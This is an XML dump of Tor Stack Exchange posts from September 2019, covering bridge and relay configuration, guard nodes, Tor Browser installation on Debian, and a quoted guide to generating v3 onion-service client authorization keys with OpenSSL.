  <row Id="20241" PostTypeId="1" CreationDate="2019-09-01T21:36:38.037" Score="0" ViewCount="14" Body="&lt;p&gt;I want to take the first line(s) of an input file and copy them to an output file, then sort the remaining lines of the input file and put them in the output file also.&lt;/p&gt;&#xA;" OwnerUserId="18287" LastActivityDate="2019-09-01T21:36:38.037" Title="how to copy first line of a file and sort the rest" Tags="|debian|bash|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20242" PostTypeId="1" CreationDate="2019-09-01T23:28:37.347" Score="1" ViewCount="34" Body="&lt;p&gt;Two years ago, an identical question was done (&lt;a href=&quot;https://tor.stackexchange.com/questions/14269/currently-how-many-entry-guards-does-tor-choose-and-for-how-long-are-they-maint&quot;&gt;Currently, how many entry guards does Tor choose and for how long are they maintained?&lt;/a&gt;). Now (02/09/2019) I ask the same, because I am seeking for an updated answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the version 0.4.1.5, how many 'entry guards' are chosen and for how long are they maintained?&lt;/p&gt;&#xA;" OwnerUserId="27478" LastActivityDate="2019-09-01T23:28:37.347" Title="Currently (02/09/2019), how many entry guards does Tor choose and for how long are they maintained?" Tags="|guard-node|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20245" PostTypeId="1" CreationDate="2019-09-03T18:55:29.970" Score="0" ViewCount="176" Body="&lt;p&gt;Imagine the following police investigation: Investigators request information from, for example, Facebook, from a certain profile. Facebook delivers the IP address associated with the profile, and leads investigators to an exit node from Tor. If the node stored the IP addresses, the police could pull the thread: they would request information about the stored IPs from the appropriate agencies, such as Internet access providers, and they would go as far as an intermediate node, and then to the entry node, which does know the clients' IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this assumption is very complex, because nodes handle many connections (researchers could find thousands of IPs to analyze) and, in addition, the nodes of a connection are usually in different countries. But the question is the same: Do the Tor nodes, by default, store the IP of the incoming connections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Translated with www.DeepL.com/Translator&lt;/p&gt;&#xA;" OwnerUserId="27478" LastActivityDate="2019-10-07T21:02:55.440" Title="Do the Tor network nodes store the clients' IP by default?" Tags="|relays|ip-address|legal|relay-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20246" PostTypeId="2" ParentId="19199" CreationDate="2019-09-03T19:39:37.507" Score="0" Body="&lt;p&gt;Try the following within &lt;code&gt;/etc/tor/torrc&lt;/code&gt; config-file (using your subject port-numbers)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;0RPort 9001 NoListen&#xA;DirPort 9030 NoAdvertise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ensure that you updated the host-fire wall params within ufw and the port-forwarding rules for the network-router; this resolved my related issue to the subject question.&lt;/p&gt;&#xA;" OwnerUserId="27650" LastActivityDate="2019-09-03T19:39:37.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20247" PostTypeId="1" CreationDate="2019-09-03T19:47:18.350" Score="0" ViewCount="483" Body="&lt;p&gt;As asked I would like to know if there is a way to use  Windscribe VPN + TOR + Polipo all together, or if this a specific possibility for some particulars VPN?&#xA;And if this is possible how to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use unbuntu 18.04.3.&lt;/p&gt;&#xA;" OwnerUserId="25353" LastActivityDate="2022-02-22T04:06:45.620" Title="Does anyone knows if this is possible to use Windscribe VPN + TOR + Polipo all together in Ubuntu?" Tags="|vpn|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20250" PostTypeId="1" AcceptedAnswerId="20260" CreationDate="2019-09-04T21:34:14.613" Score="1" ViewCount="1724" Body="&lt;p&gt;After following the &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Bridge installation docs&lt;/a&gt; and the &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;download instructions for Ubuntu&lt;/a&gt;, I've successfully confirmed connection to the Tor network via a Raspberry Pi 2 with Ubuntu 18.04 Bionic Beaver; although I'm connected as confirmed by the &lt;strong&gt;notices.log&lt;/strong&gt;, the log-file stops after &quot;Performing Bandwidth self-test...done&quot;, so I examined the &lt;strong&gt;debug.log&lt;/strong&gt; file- although there is some network activity documented, it appears that the majority of traffic is being scrubbed or &quot;washed&quot; with repeating output &quot;Port 443 is already being handled; removing&quot; (as detailed in the below snapshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PssX9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PssX9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the Tor docs apparently recommend punching holes for 80 and 443, those ports are already in-use on my network, so I set &lt;code&gt;ORPort&lt;/code&gt; to 3443 within the &lt;strong&gt;torrc&lt;/strong&gt;-config file, which includes the following parameters within the below markdown (please feel free to review my &lt;a href=&quot;https://www.alexanderjsingleton.com/how-to-set-up-a-tor-bridge-with-a-raspberry-pi-using-ubuntu-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog-post&lt;/a&gt; detailing my approach if need be):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay1&#xA;ORPort 3443&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy.&#xA;ServerTransportListenAddr obfs4 0.0.0.0:3448&#xA;Uncomment line ExtORPort auto.&#xA;Nickname choose-whatever-you-want&#xA;ContactInfo your-contact-name &amp;lt;your-email-address@whatever.com&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please confirm if the &quot;Port 443 is already being handled; removing&quot; is an error due to my configuration file or if this is normal under the circumstances (ie unable to utilize 443 due to existing network preferences)?  How can I resolve?  I'd sincerely appreciate it- thanks!  &lt;/p&gt;&#xA;" OwnerUserId="27650" LastEditorUserId="27650" LastEditDate="2019-09-04T21:39:16.690" LastActivityDate="2019-09-06T22:09:15.603" Title="what is causing &quot;Port 443 is already being handled; removing&quot; error in the Tor debug.log?" Tags="|ubuntu|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20253" PostTypeId="2" ParentId="20247" CreationDate="2019-09-05T05:44:22.877" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/#faq-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;According to the Tor Project:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I use a VPN with Tor? Generally speaking, we don't recommend using&#xA;  a VPN with Tor unless you're an advanced user who knows how to&#xA;  configure both in a way that doesn't compromise your privacy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To answer your question, maybe? It probably hasn't been tried as it would not be a best practice unless you already know how to use both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more detailed information about Tor + VPN at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-05T05:44:22.877" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20254" PostTypeId="1" CreationDate="2019-09-05T10:26:56.320" Score="2" ViewCount="624" Body="&lt;p&gt;Is TorBrowser 32-bit version less secure than 64-bit? If so, what vulnerabilities can be exploited? &lt;/p&gt;&#xA;" OwnerUserId="27660" LastActivityDate="2019-09-07T20:13:26.517" Title="Tor browser 32-bit version VS 64-bit" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20256" PostTypeId="1" CreationDate="2019-09-05T20:17:58.403" Score="1" ViewCount="131" Body="&lt;p&gt;If the client device performs 3 DH key exchanges with the 3 Tor relay devices, how does Tor provide anonymity to the client; wouldn't the IP address of the client be seen during the key exchange?? How does Tor prevent this??&lt;/p&gt;&#xA;" OwnerUserId="27663" OwnerDisplayName="SamG101" LastActivityDate="2022-02-22T17:03:35.260" Title="Tor Key Exchange Remaining Anonymous" Tags="|anonymity|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20257" PostTypeId="2" ParentId="20256" CreationDate="2019-09-05T20:49:54.773" Score="0" Body="&lt;p&gt;The client only directly talks to the entry node. It talks to the second node through the entry node, and to the third node through the second node. Only the entry node knows the client's IP. The entry node does not know the third node or the final destination that the client is communicating through Tor with.&lt;/p&gt;&#xA;" OwnerUserId="27664" OwnerDisplayName="Macil" LastActivityDate="2019-09-05T20:49:54.773" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20259" PostTypeId="1" CreationDate="2019-09-06T07:48:35.953" Score="1" ViewCount="361" Body="&lt;p&gt;I made a simple server at my home hosted by tor. The server contains my personal files and i dont like paying services for hosting websites because hosting on tor is free and hidden. It doesn't matter if i'm not using tor to connect to my onion website because im the owner of it so... yeah. I tried any to search for socks support for net but i found nothing and also i dont like using 3rd party libraries and some have 30 day trial which sucks. BUT....... basically the only barrier i really have is that i cannot connect Socks proxy using NET framework. please help i need guidance... thank you&lt;/p&gt;&#xA;" OwnerUserId="27667" LastActivityDate="2022-03-28T18:04:25.410" Title="making request onion sites without tor" Tags="|onion-services|onion-routing|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20260" PostTypeId="2" ParentId="20250" CreationDate="2019-09-06T13:56:07.633" Score="0" Body="&lt;p&gt;After repeating the &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorProject install&lt;/a&gt; on another Raspberry Pi 3, I discovered that I incorrectly transcribed the gpg-keys while adding the repository for the Debian/Ubuntu install as listed within their docs (I recommend folks install Xubuntu to access the Xubuntu Desktop broswer/FireFox so you can accurately copy/paste &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;those keys&lt;/a&gt; instead of risking error transcribing by typo on the keyboard).  If running a Tor Bridge, I'd also recommend setting your Raspberry Pi 2/3/B+ torrc config-files according to the parameters specified within the below markdown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RunAsDaemon 1&#xA;&#xA;Log notice file /var/log/tor/notices.log&#xA;Log debug file /var/log/tor/debug.log&#xA;&#xA;ORPort 3443&#xA;&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:3448&#xA;&#xA;ExtORPort auto&#xA;&#xA;Nickname your-nickname&#xA;EmailAddress &amp;lt;your-email-address&amp;gt;&#xA;&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After monitoring the Tor Bridge console files and periodically checking Tor Atlas, I was finally able to &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/67D4FADB0D78F40CFF069FBF271678CECAC28AB4&quot; rel=&quot;nofollow noreferrer&quot;&gt;confirm success&lt;/a&gt; about 4.5 hours later and no longer observed the &quot;Port 443 is already being handled; removing&quot; flag within the debug.log file- hope that helps!   &lt;/p&gt;&#xA;" OwnerUserId="27650" LastEditorUserId="27650" LastEditDate="2019-09-06T22:09:15.603" LastActivityDate="2019-09-06T22:09:15.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20261" PostTypeId="1" AcceptedAnswerId="20267" CreationDate="2019-09-06T17:07:57.617" Score="0" ViewCount="1360" Body="&lt;p&gt;Trying to start Tor for first time after install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first problem Ive got was the non permission to my user in the tor directory at /Downloads, so used root account to set normal privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now can open dir and its files, but while execute &quot;start-tor-browser&quot; appears a warning window:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;do not open if dont trust app&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tor its in an insecure directory and its not marked as executable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the next is an Exec code with its dir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I select launch, and its supposed to execute but nothing happends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser icon doesnt appears in the Internet app section as the rest of browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know what can do?&lt;/p&gt;&#xA;" OwnerUserId="27671" LastActivityDate="2019-09-07T19:58:47.917" Title="cant launch tor after install (Debian 10)" Tags="|tor-browser-bundle|linux|error|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20263" PostTypeId="1" CreationDate="2019-09-07T06:21:06.230" Score="0" ViewCount="68" Body="&lt;p&gt;I am connecting to a tor circuit from behind a private proxy server. All the websites I check are not able to determine my location, but I know that someone is able to identify me by the default content in the search window when I visit a particular website being personally relevant, despite me never entering anything in that search window on that browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are they doing this? &lt;/p&gt;&#xA;" OwnerUserId="25273" LastActivityDate="2019-09-07T06:21:06.230" Title="tor and private proxy still not enough" Tags="|network-configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20265" PostTypeId="2" ParentId="20259" CreationDate="2019-09-07T19:44:46.137" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I made a simple server at my home hosted by tor. The server contains&#xA;  my personal files and i dont like paying services for hosting websites&#xA;  because hosting on tor is free and hidden. It doesn't matter if i'm&#xA;  not using tor to connect to my onion website because im the owner of&#xA;  it so...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this an http, ftp, windows file server?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I tried any to search for socks support for net but i found nothing&#xA;  and also i dont like using 3rd party libraries and some have 30 day&#xA;  trial which sucks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I take it that you are attempting to develop and application that can reach your server from inside and outside?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't try to do everything from scratch. Install Apache and MySQL and then install NextCloud/OpenCloud. This will give you everything you need to access your files quickly at home like a NAS. It uses standard webDAV http/https requests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also have apache work with Tor to create an onion service. When you are away from home use Tor Browser to access your files remotely. You can even set up the Nextcloud application to sync via Socks 5 though this might be very slow if you sync large files.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-07T19:44:46.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20267" PostTypeId="2" ParentId="20261" CreationDate="2019-09-07T19:58:47.917" Score="0" Body="&lt;p&gt;Open it from the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First cd to the directory where you extracted Tor Browser&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chmod +x start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;start Tor Browser&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will not appear in your menu because you will have to put it there manually. Check help with Debian on how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative directions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install torbrowser-launcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start Tor Browser from your menu (it is there now). It will automatically download Tor Browser and set it up for you. The version that you downloaded the first time can be deleted.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-07T19:58:47.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20268" PostTypeId="2" ParentId="20245" CreationDate="2019-09-07T20:10:17.113" Score="1" Body="&lt;p&gt;Only the Guard node would ever see your IP.  The exit node would not see it and the middle node would not see it and the Guard node does not cache it in any way. Furthermore your connection changes every 10 minutes and most of the time each hop is in another country. The police would have to break Tor encryption multiple times through multiple servers in multiple countries and work their way back through each node to even find the Guard node. This is so unlikely that it has never been proven to be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much more likely scenario: The website uses a javascript vulnerability that hasn't been patched and your browser calls directly to the police and says &quot;hey look at me!&quot;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-07T20:10:17.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20269" PostTypeId="2" ParentId="20254" CreationDate="2019-09-07T20:13:26.517" Score="1" Body="&lt;p&gt;It is not less secure. However if you are using it on a 32-bit version of Windows like XP or Windows 7 that is no longer being patched, then you are open to all Windows exploits since that time.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-07T20:13:26.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20270" PostTypeId="1" CreationDate="2019-09-08T23:32:14.680" Score="0" ViewCount="622" Body="&lt;p&gt;I've read the &quot;Tor Rendezvous Specification - Version 3&quot; and I can't find out how the client knows the &quot;HSDir&quot; nodes that store the onion service descriptor that indicates the introduction points necessary for the connection. Can anyone guide me on the matter?&lt;/p&gt;&#xA;" OwnerUserId="27478" LastActivityDate="2021-12-22T23:06:55.603" Title="In onion v3 services, how does the client know the &quot;HSDir&quot; that have the necessary descriptor to connect to the onion service?" Tags="|onion-services|relays|node|hsdir|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20273" PostTypeId="2" ParentId="19221" CreationDate="2019-09-10T19:18:07.323" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://tor.stackexchange.com/a/19223/18806&quot;&gt;earlier answer&lt;/a&gt; is basically correct, but terse. For a more complete answer, I would recommend the Anarcho-Tech NYC Collective's guide, &amp;quot;&lt;a href=&quot;https://github.com/AnarchoTechNYC/meta/wiki/Connecting-to-an-authenticated-Onion-service&quot; rel=&quot;nofollow noreferrer&quot;&gt;Connecting to an authenticated Onion service&lt;/a&gt;&amp;quot; published on their wiki. The section of their guide relevant to your question is &amp;quot;&lt;a href=&quot;https://github.com/AnarchoTechNYC/meta/wiki/Connecting-to-an-authenticated-Onion-service#generating-authentication-credentials-for-version-3-onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;Generating authentication credentials for version 3 Onion services&lt;/a&gt;&amp;quot; and is pasted here:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Do this&lt;/strong&gt; to generate a public/private keypair for use as an authenticated Version 3 Onion service access credential:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On a laptop or desktop computer, ensure you have &lt;a href=&quot;https://www.openssl.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSSL&lt;/a&gt; 1.1 or later installed. &lt;a href=&quot;https://wiki.openssl.org/index.php/Binaries&quot; rel=&quot;nofollow noreferrer&quot;&gt;Links to ready-to-use OpenSSL distributions are available from the OpenSSL wiki&lt;/a&gt;. Many GNU/Linux computers already have OpenSSL installed.&lt;/li&gt;&#xA;&lt;li&gt;On the same laptop or desktop computer, ensure you have &lt;a href=&quot;https://en.wikipedia.org/wiki/Base64&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base64&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Base32&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base32&lt;/a&gt; encoding and decoding utilities available, such as those provided by &lt;a href=&quot;https://pkgs.org/download/basez&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;code&gt;basez&lt;/code&gt; package&lt;/a&gt; or an equivalent.&lt;/li&gt;&#xA;&lt;li&gt;Using OpenSSL 1.1 or later, generate a new X25519 private key. This will produce a &lt;a href=&quot;https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEM&lt;/a&gt;-encoded private key file, &lt;code&gt;private-key.pem&lt;/code&gt;:&#xA;&lt;pre&gt;&lt;code&gt;openssl genpkey -algorithm x25519 -out private-key.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Using the newly generated private key file, generate a corresponding public key file, &lt;code&gt;public-key.pem&lt;/code&gt;:&#xA;&lt;pre&gt;&lt;code&gt;openssl pkey -in private-key.pem -pubout -outform PEM -out public-key.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Now that you have both the private and public parts of your keypair, first convert the private part from its PEM-encoded format into a Base32 encoded string for use in your Tor client’s &lt;code&gt;.auth_private&lt;/code&gt; file:&#xA;&lt;pre&gt;&lt;code&gt;cat private-key.pem | \&#xA;    grep -v &amp;quot; PRIVATE KEY&amp;quot; | \&#xA;    basez --base64pem --decode | \&#xA;    tail --bytes 32 | \&#xA;    basez --base32 | \&#xA;    tr -d '=' &amp;gt; some-onion.auth_private # You can change `some-onion` to a name more meaningful to you.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;At this point, the &lt;code&gt;some-onion.auth_private&lt;/code&gt; file (which you can rename if you like) contains only the private key itself, so we need to prepend the Onion domain (without the &lt;code&gt;.onion&lt;/code&gt; top-level domain), a colon (&lt;code&gt;:&lt;/code&gt;), the keyword &lt;code&gt;descriptor&lt;/code&gt;, another field-delimiting colon, and the key type keyword &lt;code&gt;x25519&lt;/code&gt;, followed by a final colon. For example, if the Onion address for which this private key will be used to authenticate this client is &lt;code&gt;p53lf57qovyuvwsc6xnrppyply3vtqm7l6pcobkmyqsiofyeznfu5uqd.onion&lt;/code&gt;, the final &lt;code&gt;.auth_private&lt;/code&gt; file could be constructed like this:&#xA;&lt;pre&gt;&lt;code&gt;echo -n &amp;quot;p53lf57qovyuvwsc6xnrppyply3vtqm7l6pcobkmyqsiofyeznfu5uqd:descriptor:x25519:&amp;quot; | \&#xA;    cat - some-onion.auth_private&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Finally, prepare the &lt;code&gt;.auth&lt;/code&gt; public key file for the Onion service operator by performing a similar preparatory procedure. For the public key's &lt;code&gt;.auth&lt;/code&gt; file, you should omit the Onion address itself and merely need to prepend the keyword &lt;code&gt;descriptor&lt;/code&gt;, a field-delimiting colon (&lt;code&gt;:&lt;/code&gt;), the key type keyword &lt;code&gt;x25519&lt;/code&gt;, and a final field-delimiting colon:&#xA;&lt;pre&gt;&lt;code&gt;# Prepare the initial `.auth` file.&#xA;cat public-key.pem | \&#xA;    grep -v &amp;quot; PUBLIC KEY&amp;quot; | \&#xA;    basez --base64pem --decode | \&#xA;    tail --bytes 32 | \&#xA;    basez --base32 | \&#xA;    tr -d '=' &amp;gt; some-client.auth&#xA;# Prepend the Tor descriptor fields to the base32-encoded bytes in the `.auth` file.&#xA;echo -n &amp;quot;descriptor:x25519:&amp;quot; | cat - some-client.auth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;After this procedure is complete, you will have four files:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;private-key.pem&lt;/code&gt;, which can be deleted,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;public-key.pem&lt;/code&gt;, which can also be deleted,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;some-onion.auth_private&lt;/code&gt;, which you must take responsibility for protecting (it is like your password), and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;some-client.auth&lt;/code&gt;, which you should share with the operator of the Onion service by sending the file to them (over a secure channel such as in a &lt;a href=&quot;https://Signal.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Signal Private Messenger&lt;/a&gt; message, if possible).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Next, you will protect your &lt;code&gt;.auth_private&lt;/code&gt; file and inform your Tor software where to find it.&lt;/p&gt;&#xA;&lt;h3&gt;Configuring a laptop or desktop computer for authenticated Version 3 Onion services&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Do this&lt;/strong&gt; to connect to an authenticated Version 3 Onion service from your laptop or desktop computer:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Tor Browser from &lt;a href=&quot;https://www.torproject.org/download/download-easy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorProject.org&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Ensure you have a valid &lt;code&gt;.auth_private&lt;/code&gt; file. You can either generate one yourself, or in some cases you may have already received one from the operator of your Onion service.&lt;/li&gt;&#xA;&lt;li&gt;Choose or make a sensible folder to store all of your Version 3 Onion service access credential files. For example, a folder called &amp;quot;&lt;code&gt;Onions&lt;/code&gt;&amp;quot; in your home folder would work well.&lt;/li&gt;&#xA;&lt;li&gt;Move the &lt;code&gt;.auth_private&lt;/code&gt; file into the folder you chose to store your Version 3 Onion service access credential files.&lt;/li&gt;&#xA;&lt;li&gt;Find the filesystem path of the folder you chose to store your Version 3 Onion service access credential files. Make a note of this filesystem path, as we'll use it in a future step.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;em&gt;macOS&lt;/em&gt;:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Single-click on the folder to select it.&lt;/li&gt;&#xA;&lt;li&gt;From the menu bar, choose &lt;em&gt;File&lt;/em&gt; → &lt;em&gt;Get Info&lt;/em&gt;. The folder Info window will open.&lt;/li&gt;&#xA;&lt;li&gt;Click on the &lt;em&gt;General&lt;/em&gt; section's disclosure triangle to expose the General Information panel.&lt;/li&gt;&#xA;&lt;li&gt;Select and copy the entire value of the &lt;em&gt;Where&lt;/em&gt; line, as shown below, then paste it into your notes:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HI5hy.png&quot; alt=&quot;Screenshot of the macOS Finder's &amp;quot;Get Info&amp;quot; window for a folder named &amp;quot;Onions&amp;quot; in a user's home folder.&quot; /&gt;&lt;/li&gt;&#xA;&lt;li&gt;If the folder you chose was &lt;code&gt;Onions&lt;/code&gt; in your home folder, your path will probably look something like &lt;code&gt;/Users/YOUR_USER_NAME/Onions&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;GNU/Linux&lt;/em&gt;, first use the &lt;code&gt;cd&lt;/code&gt; command to go to the folder itself, then use &lt;a href=&quot;https://explainshell.com/explain?cmd=pwd&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;code&gt;pwd&lt;/code&gt; command&lt;/a&gt; to find the full filesystem path of the folder. If the folder you chose was &lt;code&gt;Onions&lt;/code&gt; in your home folder, your path will probably look something like &lt;code&gt;/home/YOUR_USER_NAME/Onions&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Windows&lt;/em&gt;:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right-click on the folder and choose &lt;em&gt;Properties&lt;/em&gt; from the contextual menu.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;General&lt;/em&gt; tab, find and copy the full value of the &lt;em&gt;Location&lt;/em&gt; line.&lt;/li&gt;&#xA;&lt;li&gt;If the folder you chose was &lt;code&gt;Onions&lt;/code&gt; in your home folder, your path will probably look something like &lt;code&gt;C:\Users\YOUR_USER_NAME\Onions&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Locate the &lt;code&gt;torrc&lt;/code&gt; file that you need to edit. The location of this file is slightly different depending on your computer's operating system:&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt; In the following file paths, the &lt;code&gt;~&lt;/code&gt; character or the &lt;code&gt;%HOMEDRIVE%%HOMEPATH%&lt;/code&gt; sequence refers to &amp;quot;wherever your home folder is.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;em&gt;macOS&lt;/em&gt;, edit &lt;code&gt;~/Library/Application Support/TorBrowser-Data/Tor/torrc&lt;/code&gt;.&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a new Finder window.&lt;/li&gt;&#xA;&lt;li&gt;From the &lt;em&gt;Go&lt;/em&gt; menu, select &lt;em&gt;Go to folder…&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Go to the folder&lt;/em&gt; text box, paste &lt;code&gt;~/Library/Application Support/TorBrowser-Data/Tor/&lt;/code&gt; and press the &lt;em&gt;Go&lt;/em&gt; 